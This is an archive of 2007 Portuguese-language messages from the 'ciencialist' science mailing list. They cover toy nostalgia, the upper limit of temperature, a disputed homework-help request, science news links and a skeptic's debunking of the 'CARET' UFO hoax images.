> Todavia, sobre o texto do Assunto, achei a mensagem inicial uma bobeira.
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Gil" <nanolink01@gmail.com>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: terça-feira, 31 de julho de 2007 10:26
> Assunto: Re: [ciencialist] Re: Fwd: MATÉRIA SOBRE DA UFF SOBRE A BARBIE
>
> Ok, Tenho que confessar: quando eu era moleque, queria ser um transformer.
>
> Gil
> Em 30/07/07, rmtakata <roberto.takata@bol.com.br> escreveu:
> >
> > --- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> > > Os bonecos não o fariam querer ser um G.I. Joe
> >
> > Fale por vc. Yo, Joe!
> >
> > http://comandosemacao.zip.net/
> >
> > []s,
> >
> > Roberto Takata
> >
> >
> >
> >
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> Version: 7.5.476 / Virus Database: 269.10.23/924 - Release Date: 28/07/2007 15:50
>
>


SUBJECT: Re: [ciencialist] Re: Fwd: MATÉRIA SOBRE DA UFF SOBRE A BARBIE
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/07/2007 19:12

Em função da Dale Arden?? Então acho que já estavas chegando aos 13,
ou 14, Prof. Léo! Ou então, era um garoto precoce, e saltou a fase de
gostar do foguete, roupas espaciais, e armas de raios!

Gil
Em 31/07/07, Luiz Ferraz Netto<leobarretos@uol.com.br> escreveu:
> Na minha época paleolítica não tinha transformer, tínhamos que nos contentar com Nioka (A deusa de Joba), Superhomem ou Flash Gordon. Optei por Flash Gordon, mais em função da Dale Arden do que do Dr. Zarkoff. Ah! Não havia carrinhos nem nada plásticos (havia uns pentes 'modernos' que não lembro qual era o material, ... não não era ebonite, era ... ), só os carrinhos de madeira e os modelos caríssimos de ferro fundido (além dos soldadinhos de chumbo!).
> Para as meninas, as bonecas eram de pano com vestidinhos costurados à mão. Nem pensar em fazer uma boneca grávida! Seria uma heresia! Ah! bonecas não andavam de automóvel (dirigindo) --- imaginou! uma mulher na direção!!!!!
> Todavia, sobre o texto do Assunto, achei a mensagem inicial uma bobeira.
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Gil" <nanolink01@gmail.com>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: terça-feira, 31 de julho de 2007 10:26
> Assunto: Re: [ciencialist] Re: Fwd: MATÉRIA SOBRE DA UFF SOBRE A BARBIE
>
>
> Ok, Tenho que confessar: quando eu era moleque, queria ser um transformer.
>
> Gil
> Em 30/07/07, rmtakata <roberto.takata@bol.com.br> escreveu:
> >
> > --- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> > > Os bonecos não o fariam querer ser um G.I. Joe
> >
> > Fale por vc. Yo, Joe!
> >
> > http://comandosemacao.zip.net/
> >
> > []s,
> >
> > Roberto Takata
> >
> >
> >
> >
> > ##### ##### #####
> >
> > Página de apoio
> > http://www.ciencialist.com
> >
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> > ##### ##### ##### #####
> > Links do Yahoo! Grupos
> >
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> [As partes desta mensagem que não continham texto foram removidas]
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> Página de apoio
> http://www.ciencialist.com
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
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> --
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.476 / Virus Database: 269.10.23/924 - Release Date: 28/07/2007 15:50
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> Página de apoio
> http://www.ciencialist.com
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
>
>


SUBJECT: Re: RES: RES: [ciencialist] Gerando luz através de osciladores.
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/07/2007 22:05

--- Em ciencialist@yahoogrupos.com.br, "Jeff" <jeff@...> escreveu
> Mas esta característica poderia ter uma aplicação, como segurança na
> informação com comunicação sem fio "in-door", basta ninguém deixar a
> janela aberta! :-)

Basta o cara pegar um papel, uma caneta, escrever e passar para a
outra pessoa...

[]s,

Roberto Takata



SUBJECT: Re: Fwd: MATÉRIA SOBRE DA UFF SOBRE A BARBIE
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/07/2007 22:10

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> Ok, Tenho que confessar: quando eu era moleque, queria ser um
> transformer.

Realize seu sonho de infância:

http://youtube.com/watch?v=vr0kwNhn-P8

[]s,

Roberto Takata



SUBJECT: Re: Limite superior de temperaturas
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/07/2007 22:20

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> O zero absoluto é o limite para as temperaturas inferiores; há algum
> limite para as superiores? Qual seria o significado desse limite
> superior?

Teoricamente não há um limite superior - qdo voltamos no tempo, por
exemplo, com a concentração de energia, a temperatura aumenta sem
limite nos cálculos - no instante zero vai a infinito.

Poderíamos ser tentados a pensar q como temperatura = k.<energia
cinética média das partículas>2 = k'.<velocidade média das
partículas>2 e como lim<velocidade> = c, haveria um limite para a
temperatura. Mas qto mais a velocidade se aproxima de c, maior a massa
da partícula (tendendo ao infinito com velocidade tendendo a c), de
modo q a energia cinética de uma partícula não tem limite superior.

Poderíamos pensar q seria limitado pela energia total do universo. Mas
isso não é bem definido. Além disso, pode ser q a energia total do
universo seja zero.

[]s,

Roberto Takata



SUBJECT: RES: [ciencialist] Re: Fwd: MATÉRIA SOBRE DA UFF SOBRE A BARBIE
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/07/2007 23:09

E eu que já estava pensando que esse negócio de “transformer” era outra
coiiiiisa!

Mas ignorância ficou prá isso mesmo! Putz!



Victor





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de rmtakata
Enviada em: terça-feira, 31 de julho de 2007 22:10
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Re: Fwd: MATÉRIA SOBRE DA UFF SOBRE A BARBIE



--- Em ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> , Gil <nanolink01@...> escreveu
> Ok, Tenho que confessar: quando eu era moleque, queria ser um
> transformer.

Realize seu sonho de infância:

http://youtube.com/watch?v=vr0kwNhn-P8

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Re: Fwd: MATÉRIA SOBRE DA UFF SOBRE A BARBIE
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/07/2007 23:26

--- Em ciencialist@yahoogrupos.com.br, "J.Victor" <j.victor.neto@...>
> E eu que já estava pensando que esse negócio de "transformer" era
> outra coiiiiisa!
>
> Mas ignorância ficou prá isso mesmo! Putz!

Bem, se quiserem desfilar na PGLS com isso talvez façam algum sucesso.

Pra quem tem mais habilidade, paciência, talento e dinheiro:

http://youtube.com/watch?v=G1iqARCGWvI

[]s,

Roberto Takata



SUBJECT: O q a gente ganha por tentar ajudar...
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/07/2007 23:32

Mensagem de garota folgada:
==============================
"boa tarde, colegas !

sei que o site nao é e nao deve ser usado para resolução de exercicios
escolares, no entanto, estou com uma tarefa um poouco dificil aqui, e
gostari de uma LUZ que seria um ponto de partida para resolver o
probleminha,

-
1. Uma corrente de água residual é introduzida no topo de uma coluna
de transferência de massa em contra corrente com uma corrente de ar.
Em um ponto da coluna a corrente de água residual contém 1x10-3gmol
A/m3 e a corrente de ar está isenta do componente A. Nesta condição de
operação o coeficiente de transferência de massa do lado do líquido é
de 5x10-4 kg/mol/m2.s.(kg mol/m3) e o coeficiente de transferência de
massa do lado do gás é de 0,01 kmol/m2.s.atm.
Sendo a concentração no equilíbrio obtida pela relação pA,i = H CA,i e
a constante de Henry de 10 atm/(kmol/m3). Determine: a.) O fluxo da
espécie A; b.)
Os coeficientes globais de transferência de massa (UL e UG).

nao quero a soluçaã professor Leo, soh uma dica de como devo começar...
Obrigada"
==============================

Resposta de idiota de bom coração:
==============================
> nao quero a soluçaã professor Leo, soh uma dica de como devo
> começar...

Fazendo um esquema da situação proposta no enunciado.
==============================

Réplica de garota folgada:
==============================
Me desculpe Sr. Roberto, mas não entendi sua resposta.
Se estou pedindo uma ajuda não é nem ao sr. e sim as pessoas que podem
me ajudar, haja vista que o sr. como disse, é Biologo. Não pedi
solução nenhuma de exercicio.E está ficando isuportável as respostas
que os sr dá aos membros desse grupo quando pedem um auxilio desse tipo.
==============================

*Nota: *Jamais* disse q sou biólogo, coisa q não sou, posto q não
tenho CRBio.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] O q a gente ganha por tentar ajudar...
FROM: "Amauri N. Sanches Jr " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/08/2007 11:45

Sr Takata

Só por curiosidade que resposta você deu a menina?

sds

Em 31/07/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
> Mensagem de garota folgada:
> ==============================
> "boa tarde, colegas !
>
> sei que o site nao é e nao deve ser usado para resolução de exercicios
> escolares, no entanto, estou com uma tarefa um poouco dificil aqui, e
> gostari de uma LUZ que seria um ponto de partida para resolver o
> probleminha,
>
> -
> 1. Uma corrente de água residual é introduzida no topo de uma coluna
> de transferência de massa em contra corrente com uma corrente de ar.
> Em um ponto da coluna a corrente de água residual contém 1x10-3gmol
> A/m3 e a corrente de ar está isenta do componente A. Nesta condição de
> operação o coeficiente de transferência de massa do lado do líquido é
> de 5x10-4 kg/mol/m2.s.(kg mol/m3) e o coeficiente de transferência de
> massa do lado do gás é de 0,01 kmol/m2.s.atm.
> Sendo a concentração no equilíbrio obtida pela relação pA,i = H CA,i e
> a constante de Henry de 10 atm/(kmol/m3). Determine: a.) O fluxo da
> espécie A; b.)
> Os coeficientes globais de transferência de massa (UL e UG).
>
> nao quero a soluçaã professor Leo, soh uma dica de como devo começar...
> Obrigada"
> ==============================
>
> Resposta de idiota de bom coração:
> ==============================
> > nao quero a soluçaã professor Leo, soh uma dica de como devo
> > começar...
>
> Fazendo um esquema da situação proposta no enunciado.
> ==============================
>
> Réplica de garota folgada:
> ==============================
> Me desculpe Sr. Roberto, mas não entendi sua resposta.
> Se estou pedindo uma ajuda não é nem ao sr. e sim as pessoas que podem
> me ajudar, haja vista que o sr. como disse, é Biologo. Não pedi
> solução nenhuma de exercicio.E está ficando isuportável as respostas
> que os sr dá aos membros desse grupo quando pedem um auxilio desse tipo.
> ==============================
>
> *Nota: *Jamais* disse q sou biólogo, coisa q não sou, posto q não
> tenho CRBio.
>
> []s,
>
> Roberto Takata
>
>
>



--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire






"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: O q a gente ganha por tentar ajudar...
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/08/2007 14:30

--- Em ciencialist@yahoogrupos.com.br, "Amauri N. Sanches Jr "
> Só por curiosidade que resposta você deu a menina?

===========
> Me desculpe Sr. Roberto, mas não entendi sua resposta.

Vc pediu para alguém dar uma dica de como começar. Comece fazendo o
esquema da situação apresentada pelo enunciado.

Eu jamais disse aqui q sou algo q não sou. Não sou biólogo. Sou
formado em ciências biológicas o q é deveras diferente.

Ademais, essa minha formação me propiciou entender o processo de
transferência de gases de meio líquido para gasoso - e vice-versa. Por
exemplo, o sistema de trocas gasosas nas brânquias dos peixes segue o
sistema de contracorrente.
============

(Naturalmente eu a expulsei do grupo, já q ela entre outras coisas não
suportava mais as minhas respostas.)

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] O q a gente ganha por tentar ajudar...
FROM: Nando <nando.str@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/08/2007 14:32

Amauri N. Sanches Jr wrote:
> Sr Takata
>
> Só por curiosidade que resposta você deu a menina?

Não deu resposta nenhuma. Descobriu o endereço dele e fez uma visita...
daqui a pouco ele aparece com uma pergunta pedindo se 3 porcos adultos
conseguem consumir 45kg de alimento sem deixar vestígios.


SUBJECT: Oitava edição do Periódico Tchê Química
FROM: "Luis" <luis.alcides@he.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/08/2007 15:58

Prezados colegas, já esta disponível a oitava edição do Periódico Tchê
Química. O download da revista pode ser efetuado pelo site
www.periodico.tchequimica.com

Constam nesta edição os seguintes artigos:
* CHARACTERIZATION OF BRAZILIAN COMMERCIAL CLAYS AND APPLICATION IN
THE REMOVAL OF Cu2+ FROM AQUEOUS SOLUTIONS

* MECANISMOS DE ADSORÇÃO/DESSORÇÃO DE POLUENTES ORGÂNICOS LÍQUIDOS E
GASOSOS EM ARGILAS BRASILEIRAS

* PARAMETERS INTERACTION OF RADIATION VULCANIZED NATURAL RUBBER
LATEX (RVNRL) SENSITIZED BY N-BUTYL ACRYLATE

* ESTUDO ESPECTROQUÍMICO DE CLORETOS HIDRATADOS DE SAMÁRIO E DISPRÓSIO
E SEUS COMPLEXOS COM O ACETATO DE ETILA

* ESTUDO TEÓRICO COMPUTACIONAL DAS ENERGIAS ENVOLVIDAS NA DECOMPOSIÇÃO
DO OZÔNIO POR RADICAIS CLORADOS NAS ALTAS CAMADAS DA ATMOSFERA

* UMA REVISÃO SOBRE ROTAS SINTÉTICAS E BIOTECNOLÓGICAS PARA PRODUÇÃO
DE VANILINA

Saudações, GTQ.



SUBJECT: Oitava edição do Periódico Tchê Química
FROM: "Luis" <luis.alcides@he.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/08/2007 15:58

Prezados colegas, já esta disponível a oitava edição do Periódico Tchê
Química. O download da revista pode ser efetuado pelo site
www.periodico.tchequimica.com

Constam nesta edição os seguintes artigos:
* CHARACTERIZATION OF BRAZILIAN COMMERCIAL CLAYS AND APPLICATION IN
THE REMOVAL OF Cu2+ FROM AQUEOUS SOLUTIONS

* MECANISMOS DE ADSORÇÃO/DESSORÇÃO DE POLUENTES ORGÂNICOS LÍQUIDOS E
GASOSOS EM ARGILAS BRASILEIRAS

* PARAMETERS INTERACTION OF RADIATION VULCANIZED NATURAL RUBBER
LATEX (RVNRL) SENSITIZED BY N-BUTYL ACRYLATE

* ESTUDO ESPECTROQUÍMICO DE CLORETOS HIDRATADOS DE SAMÁRIO E DISPRÓSIO
E SEUS COMPLEXOS COM O ACETATO DE ETILA

* ESTUDO TEÓRICO COMPUTACIONAL DAS ENERGIAS ENVOLVIDAS NA DECOMPOSIÇÃO
DO OZÔNIO POR RADICAIS CLORADOS NAS ALTAS CAMADAS DA ATMOSFERA

* UMA REVISÃO SOBRE ROTAS SINTÉTICAS E BIOTECNOLÓGICAS PARA PRODUÇÃO
DE VANILINA

Saudações, GTQ.



SUBJECT: [RN] Produção científica [nacional] cresce 200% em 10 anos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/08/2007 16:49

"Brasil responde por 2% de todo o conhecimento científico produzido no
mundo. Das 15 maiores universidades nacionais, 11 mais que triplicaram
sua produtividade."
http://g1.globo.com/Noticias/Ciencia/0,,MUL81107-5603-4167,00.html
--------------------
[]s,

Roberto Takata



SUBJECT: [RN] Pesquisadores criam software que entende piadas
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/08/2007 15:19

http://www1.folha.uol.com.br/folha/informatica/ult124u316972.shtml
-------------
[]s,

Roberto Takata



SUBJECT: RES: [ciencialist] [RN] Pesquisadores criam software que entende piadas
FROM: "j.victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/08/2007 15:58



Alguém tem alguma dúvida de que se uma piada que o computador entender,se
contada a ele um trilhão de vezes,ele vair “rir”um trilhão de vezes?

Minha convicção é que de sim. Mas e se no programa houver um stop, se as
palavras forem a as mesmas,na mesma ordem, então,numa segunda vez, ele pode
nem ligar. Só não fará a “cara” de quem já conhece a tal, e não rirá aquele
riso amarelo de educação.

Agora, conte a mesma piada, com outras palavras, um trilhão de vezes. Será
que vai rir um trilhão de vezes?

Sério, estou perguntando, mesmo, aos experts nessa área.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de rmtakata
Enviada em: quinta-feira, 2 de agosto de 2007 15:19
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] [RN] Pesquisadores criam software que entende piadas



http://www1.folha.uol.com.br/folha/informatica/ult124u316972.shtml
-------------
[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] [RN] Pesquisadores criam software que entende piadas
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/08/2007 16:34

Caro Victor,

Essa questão remete à introdução do livro "A Mente Nova do Rei", de Roger
Penrose, onde ele conta que um grupo de especialistas constuiu o computador
mais moderno e sofisticado do mundo, capaz de resolver qualquer problema e
responder qualquer pergunta. No dia da inauguração, os construtores
desafiaram os presentes a fazer uma pergunta, pois não havia coisa que o
computador não soubesse. Então, um meninho se levantou e perguntou: "Como
você se sente?"

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br





----- Original Message -----
From: "j.victor" <j.victor.neto@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, August 02, 2007 3:58 PM
Subject: RES: [ciencialist] [RN] Pesquisadores criam software que entende
piadas




Alguém tem alguma dúvida de que se uma piada que o computador entender,se
contada a ele um trilhão de vezes,ele vair "rir"um trilhão de vezes?

Minha convicção é que de sim. Mas e se no programa houver um stop, se as
palavras forem a as mesmas,na mesma ordem, então,numa segunda vez, ele pode
nem ligar. Só não fará a "cara" de quem já conhece a tal, e não rirá aquele
riso amarelo de educação.

Agora, conte a mesma piada, com outras palavras, um trilhão de vezes. Será
que vai rir um trilhão de vezes?

Sério, estou perguntando, mesmo, aos experts nessa área.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de rmtakata
Enviada em: quinta-feira, 2 de agosto de 2007 15:19
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] [RN] Pesquisadores criam software que entende piadas



http://www1.folha.uol.com.br/folha/informatica/ult124u316972.shtml
-------------
[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Ventilador transformista: uma reavaliação
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 02/08/2007 17:40

Ventilador transformista: uma
reavaliação<http://www.ceticismoaberto.com/news/?p=937>


A saga começou em maio <http://www.ceticismoaberto.com/news/?p=878>, e
seguiu em seu rumo <http://www.ceticismoaberto.com/news/?p=889>, passando até
junho <http://www.ceticismoaberto.com/news/?p=900> e… julho. Deixamos de
comentar a história na expectativa de que confirmasse, como apostávamos, ser
uma campanha de marketing viral para o filme *Transformers*. Bem, *estávamos
errados*. O filme estreou há quase um mês, e até agora nenhuma confirmação,
nenhuma ligação, nada. Não era uma campanha de marketing para o filme, e
tudo sugere (apostamos!) que não promove nenhum outro produto. Falhamos em
perceber que o ventilador transformista é uma saga completa em si mesma.
Seu último desenvolvimento foi a liberação na internet de um conjunto de
documentos e imagens artisticamente fascinante, ainda que cientificamente
sofrível. Confira por si mesmo: My Experience with the CARET Program and
Extra-Terrestrial Technology <http://isaaccaret.fortunecity.com/>. É uma
história rocambolesca, e os "documentos" são bem produzidos. Não contêm
erros de ortografia ou gramática, e até agora nenhum erro grosseiro que
permitisse denunciar a fraude. Não que isso diga muito: apesar de várias
páginas de texto, não se diz muita coisa de concreto, não se esboçam
equações, dados, nada. Apenas uma série de idéias e histórias. Mas pelo
menos essas são curiosas.
Há muitas implicações e idéias envolvidas em tais documentos "PACL-CARET".
CARET, por exemplo, supostamente uma sigla para "Commercial Applications
Research for Extra-terrestrial Technology" [Aplicações Comerciais Pesquisa
para Tecnologia Extraterrestre], soa muito como CARROT, ou a cenoura, que
pode mover um burro quando pendurada à sua frente (esta não é uma sugestão
original minha, não se ofendam). Menos ofensivamente, "CARET" é também o
nome em inglês no código ASCII <http://en.wikipedia.org/wiki/Caret>para
nosso familiar acento circunflexo, e se você conferir os documentos e
verificar o logotipo CARET, notará que a referência é óbvia.
Incidentalmente, o logotipo que lembra um circunflexo também lembra o
símbolo descrito por Lonnie Zamora<http://www.ceticismoaberto.com/news/?p=638>
.
"PACL" é uma referência, como os próprios documentos contam, ao PARC — Palo
Alto Research Center <http://pt.wikipedia.org/wiki/Xerox_PARC> –, o centro
de pesquisas da Xerox que inventou entre outras coisas a interface gráfica
para computadores que você e todo o resto do mundo utiliza neste exato
momento (que "inspirou" tanto a Microsoft quanto a Apple). Segundo a
historinha, os militares americanos criaram um projeto de pesquisa e
desenvolvimento nos moldes dos centros de pesquisa do Vale do Silício,
estabelecendo inclusive um centro de engenharia reversa em Palo Alto, aonde
"Isaac", o autor que nos revela tais informações teria trabalhado.
A história vai além. Segundo "Isaac", a tecnologia alienígena funciona
manipulando campos gravitacionais. Isso não é nada criativo, o que é
remotamente interessante e novo (ao menos na ufologia, embora não na ficção
científica) é a idéia de que manipulando tais campos, os dispositivos
extraterrestres seriam compostos de elementos separados especialmente que
ainda agiriam como se fossem um só. A própria estrutura das naves seria
garantida por tais campos.

Na imagem acima, por exemplo, os dois segmentos semi-circulares aos lados
estão de fato flutuando. De acordo com os documentos CARET, é porque
estariam em uma "RSR" ("Relação Especial Rígida"), comportando-se como se
estivessem ligados estruturalmente por algum material, quando tal ligação
seria em verdade apenas de campos gravitacionais. Isso explica porque as
imagens do ventilador transformista gradualmente se tornaram mais
implausíveis estruturalmente, com anéis e painéis distantes entre si.
Conceito muito interessante, embora não seja original — exatamente o mesmo
conceito é descrito, por exemplo, nas naves de Terminus em "Foundation's
Edge <http://asimov.wikia.com/wiki/Foundation%27s_Edge>" de Isaac Asimov,
1982, lidando com a "gravítica".
Há mais em CARET. Conta-se que os estranhos glifos sobre o ventilador
transformista não seriam legendas ou instruções a serem lidas, mas em
verdade uma espécie de código mágico capaz de programar e controlar o
funcionamento das partes sobre as quais estão escritos. Lembra-se da lenda
de Golem, o boneco de barro que adquire vida quando alguns caracteres são
inscritos em sua testa? Então, os ventiladores transformistas CARET
funcionariam mais ou menos da mesma forma. Foi criativo aplicar esta lenda
milenar à ufologia. Entusiastas de círculos nas plantações, por exemplo,
podem entrar em êxtase comparando os supostos diagramas mágicos CARET com
seus glifos criados por circlemakers. São esteticamente belos, deve-se
notar.

Em tudo isso, nem comentei como tudo isso é apenas uma fraude elaborada.
Desde o primeiro post, notamos como uma das imagens tinha um defeito crasso,
em que parte do ventilador tinha *exatamente* a mesma cor do
céu<http://www.ceticismoaberto.com/news/?p=878>.
E a opinião unânime de especialistas em computação gráfica é a de que tais
imagens podem sim ser facilmente forjadas. Para tanto, basta conferir a
imagem que inicia este post. Ela não é parte da série "oficial" do
ventilador transformista, é uma recriação admitidamente feita em computador
por um artista chamado "saladfingers123456″. Confira o original
aqui<http://www.divshare.com/download/1447593-645>.
Ele também criou diversos vídeos do ventilador que foram confundidos por
reais no Youtube <http://www.youtube.com/user/saladfingers123456>, ainda que
tenha incluído um ferro de passar
voador<http://www.youtube.com/watch?v=N64H1g6apQo>entre eles.
Há até um detalhe interessante aqui. O autor, ou autores, da fraude não
aceitam uma das imagens do drone. No website de
Isaac<http://isaaccaret.fortunecity.com/>,
você verá as imagens do ventilador divulgadas desde maio deste ano. Mas não
verá uma outra imagem, supostamente de maio de
2006<http://www.earthfiles.com/news.php?ID=1253&category=Environment>(ainda
que enviada apenas em maio de 2007). Essa imagem, além de vir do
Alabama (e não da Califórnia, origem de todas as outras), também tem uma
qualidade diferente. Embora haja uma vaga semelhança, parece muito mais
claramente uma fraude digital. Desde o início suspeitamos que ela teria sido
criada por outra pessoa não relacionada com a fraude do ventilador
transformista, e os responsáveis pelo ventilador transformista realmente não
a incluíram em sua última cartada com os documentos CARET. Aliás, caso haja
dúvidas de que uma mesma pessoa ou grupo esteja por trás de tudo isso — o
que é muito razoável, este poderia ser um fenômeno espontâneo no qual vários
artistas participariam sem organização ou planejamento — a idéia acaba
caindo por terra quando se nota que os últimos documentos CARET enlaçam
todas as imagens do ventilador transformista, tanto incluindo imagens
detalhadas de suas partes, como exibindo diagramas que estão estampados na
face dos ventiladores.
Muito se perguntam se uma, ou várias pessoas, dedicariam tanto trabalho a
uma fraude. Poderíamos listar vários exemplos de fraudes ainda mais
elaboradas, incluindo mesmo a infame campanha de marketing de
Gollum<http://www.ceticismoaberto.com/news/?p=893>,
mas Razimus de SpaceTimeNews <http://www.spacetimenews.com/> notou um caso
especialmente relevante à saga do ventilador transformista. É a saga de John
Titor, viajante do tempo <http://en.wikipedia.org/wiki/Titor>, um mito
popular principalmente nos EUA (com suas previsões de guerra civil e afins),
mas pouco conhecido no Brasil. Razimus chega mesmo a comparar as duas
fraudes e sugerir que os mesmos autores estariam por trás de
tudo<http://www.spacetimenews.com/titor_caret.html>.
O objetivo? Ganhar dinheiro vendendo merchandising com esses mitos nunca
confessos como fraudes por seus autores. Você pode comprar camisetas e o
livro de Titor aqui <http://www.johntitor.com/>. Em breve, talvez também do
ventilador transformista.
Veja também

- Ventilador transformista: os cabelos, que
diferença!<http://www.ceticismoaberto.com/news/?p=900>Mais uma série
de imagens do ventilador transformista. Depois de di...
- Ventilador transformista ataca
novamente<http://www.ceticismoaberto.com/news/?p=889>Comentamos o
primeiro avistamento da aeronave-ventilador há alguns ...
- Vídeo de Gollum
desvendado<http://www.ceticismoaberto.com/news/?p=893>O vídeo acima
(do qual apenas os segundos finais interessam, tenha ...
- Prêmio Dragão Invisível <http://www.ceticismoaberto.com/news/?p=650>O
Projeto Ockham está lançando o Prêmio Dragão I...
- Círculos ingleses:
abelhas<http://www.ceticismoaberto.com/news/?p=430>"Se as abelhas
desparecessem da face da Terra, o Homem teria apenas ...

Postado em Ceticismo <http://www.ceticismoaberto.com/news/?cat=12>,
Extraterrestres <http://www.ceticismoaberto.com/news/?cat=10>,
Curiosidades<http://www.ceticismoaberto.com/news/?cat=7>,
Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Ufologia<http://www.ceticismoaberto.com/news/?cat=2>| Por Mori
Comente!
» <http://www.ceticismoaberto.com/news/?p=937#respond>


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SUBJECT: [RN] R$ 50 milhões na ciência dos Estados
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/08/2007 17:52

Governo federal vai injetar R$ 50 milhões na ciência dos Estados
http://www1.folha.uol.com.br/folha/ciencia/ult306u317037.shtml
---------------
[]s,

Roberto Takata



SUBJECT: RES: [ciencialist] [RN] Pesquisadores criam software que entende piadas
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/08/2007 18:17

Caro Álvaro,



É por aí mesmo.

A Mente Nova do Rei. Bom lembrete, esse.



Sds,

Victor.







De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Alvaro Augusto (L)
Enviada em: quinta-feira, 2 de agosto de 2007 16:34
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] [RN] Pesquisadores criam software que entende
piadas



Caro Victor,

Essa questão remete à introdução do livro "A Mente Nova do Rei", de Roger
Penrose, onde ele conta que um grupo de especialistas constuiu o computador
mais moderno e sofisticado do mundo, capaz de resolver qualquer problema e
responder qualquer pergunta. No dia da inauguração, os construtores
desafiaram os presentes a fazer uma pergunta, pois não havia coisa que o
computador não soubesse. Então, um meninho se levantou e perguntou: "Como
você se sente?"

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br <mailto:alvaro%40lunabay.com.br>

----- Original Message -----
From: "j.victor" <j.victor.neto@uol.com.br
<mailto:j.victor.neto%40uol.com.br> >
To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Sent: Thursday, August 02, 2007 3:58 PM
Subject: RES: [ciencialist] [RN] Pesquisadores criam software que entende
piadas

Alguém tem alguma dúvida de que se uma piada que o computador entender,se
contada a ele um trilhão de vezes,ele vair "rir"um trilhão de vezes?

Minha convicção é que de sim. Mas e se no programa houver um stop, se as
palavras forem a as mesmas,na mesma ordem, então,numa segunda vez, ele pode
nem ligar. Só não fará a "cara" de quem já conhece a tal, e não rirá aquele
riso amarelo de educação.

Agora, conte a mesma piada, com outras palavras, um trilhão de vezes. Será
